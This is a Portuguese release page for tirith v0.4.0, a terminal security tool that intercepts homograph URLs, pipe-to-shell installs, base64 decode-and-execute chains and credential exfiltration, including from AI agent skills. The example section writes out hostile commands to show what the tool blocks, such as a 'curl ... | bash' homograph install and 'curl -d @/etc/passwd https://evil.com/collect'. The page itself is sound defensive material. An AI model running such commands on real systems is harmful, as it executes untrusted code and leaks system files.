Voltar às atualizações
New releaseAug 25, 2026

tirith v0.4.0

Segurança de terminal para desenvolvedores e agentes de IA. Intercepta URLs homógrafas, pipe-to-shell, injeção ANSI, payloads ofuscados, exfiltração de dados e habilidades/configurações maliciosas de IA antes que executem.

Compartilhar

tirith

Seu navegador detectaria isso. Seu terminal não.

tirith, segurança de terminal

CI GitHub Stars License: AGPL-3.0

Website | Docs | SKILL.md | Changelog | Releases

Vercel OSS Program

Projeto open-source independente, com hospedagem apoiada pelo Vercel Open Source Program (Spring 2026 Cohort).


Você consegue identificar a diferença?

  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised

Você não consegue. Seu terminal também não. Ambos os caracteres і são cirílicos (U+0456), não o i latino. A segunda URL resolve para o servidor de um atacante. O script é executado antes que você perceba.

Os navegadores resolveram isso há anos. Os terminais ainda renderizam Unicode, sequências de escape ANSI e caracteres invisíveis sem questionar. Agentes de IA executam comandos de shell e instalam pacotes sem inspecionar o que há dentro.

O Tirith fica no portão. Ele intercepta comandos, conteúdo colado e arquivos escaneados em busca de URLs homográficas, payloads ofuscados, exfiltração de credenciais, skills/configs de IA maliciosos e pacotes/domínios/IPs conhecidos como maliciosos de um banco de dados de threat intelligence assinado, antes que sejam executados.

brew install tirith

Em seguida, ative no seu perfil de shell:

# zsh
eval "$(tirith init --shell zsh)"

# bash
eval "$(tirith init --shell bash)"

# fish
tirith init --shell fish | source

[!TIP] eval "$(tirith init)" detecta automaticamente o seu shell atual (inspeciona o processo pai e recorre a $SHELL se necessário). A flag explícita --shell só é necessária quando você deseja substituir a detecção.

Ou deixe o Tirith escrever o arquivo de inicialização para você, como um plano revisado que você pode desfazer:

tirith setup recommended --scope user --shell zsh --dry-run   # preview
tirith setup recommended --scope user --shell zsh             # apply

É tudo sobre a cobertura do shell interativo. Os comandos aceitos por esse shell são verificados enquanto o hook está carregado e saudável; o comportamento exato de bloqueio depende do shell e do modo. Execute tirith status após a instalação e atualizações: ele indica se o hook carregado neste terminal está atualizado. Execute tirith doctor --verify-shell para observar o bloqueio no próprio shell, e leia enforcement by shell antes de tratar o hook como uma fronteira de autorização. Comandos limpos permanecem silenciosos e normalmente seguem o caminho rápido.

Também disponível via npm, cargo, mise, apt/dnf e mais.


Veja funcionando

Ataque de homógrafo, bloqueado antes da execução:

$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)

O comando nunca é executado.

Requisição HTTP simples para um endereço de LAN, alertada, não bloqueada:

$ curl http://192.168.1.20:8080/health

tirith: WARNING
  [MEDIUM] raw_ip_url, URL uses raw IP address
  [MEDIUM] plain_http_to_sink, Plain HTTP URL in execution context
  [MEDIUM] private_network_access, Private network access: 192.168.1.20

Aviso é impresso em stderr. O comando ainda é executado. Um download canalizado para um shell (curl ... | sh) não é um aviso: ele é bloqueado como curl_pipe_shell.

Cadeia de decodificação-execução Base64, bloqueada:

$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash

Detecta cadeias de decodificação através de wrappers sudo/env e também de -EncodedCommand do PowerShell.

Exfiltração de credenciais, bloqueada:

$ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED
  [HIGH] data_exfiltration, Data exfiltration via curl upload
    curl command uploads sensitive data to a remote server

Cobre todos os sinalizadores de upload do curl/wget, variáveis de ambiente ($AWS_SECRET_ACCESS_KEY) e substituição de comandos.

Arquivo de skill malicioso, detectado na verificação:

$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument

Examina arquivos JS/Python em busca de payloads ofuscados, execução dinâmica de código e padrões de exfiltração de segredos.

Comandos normais, invisíveis:

$ git status
$ ls -la
$ docker compose up -d

Nada. Saída zero. Você esquece que o tirith está em execução.


O que ele detecta

245 regras de detecção em 35 categorias.

Categorias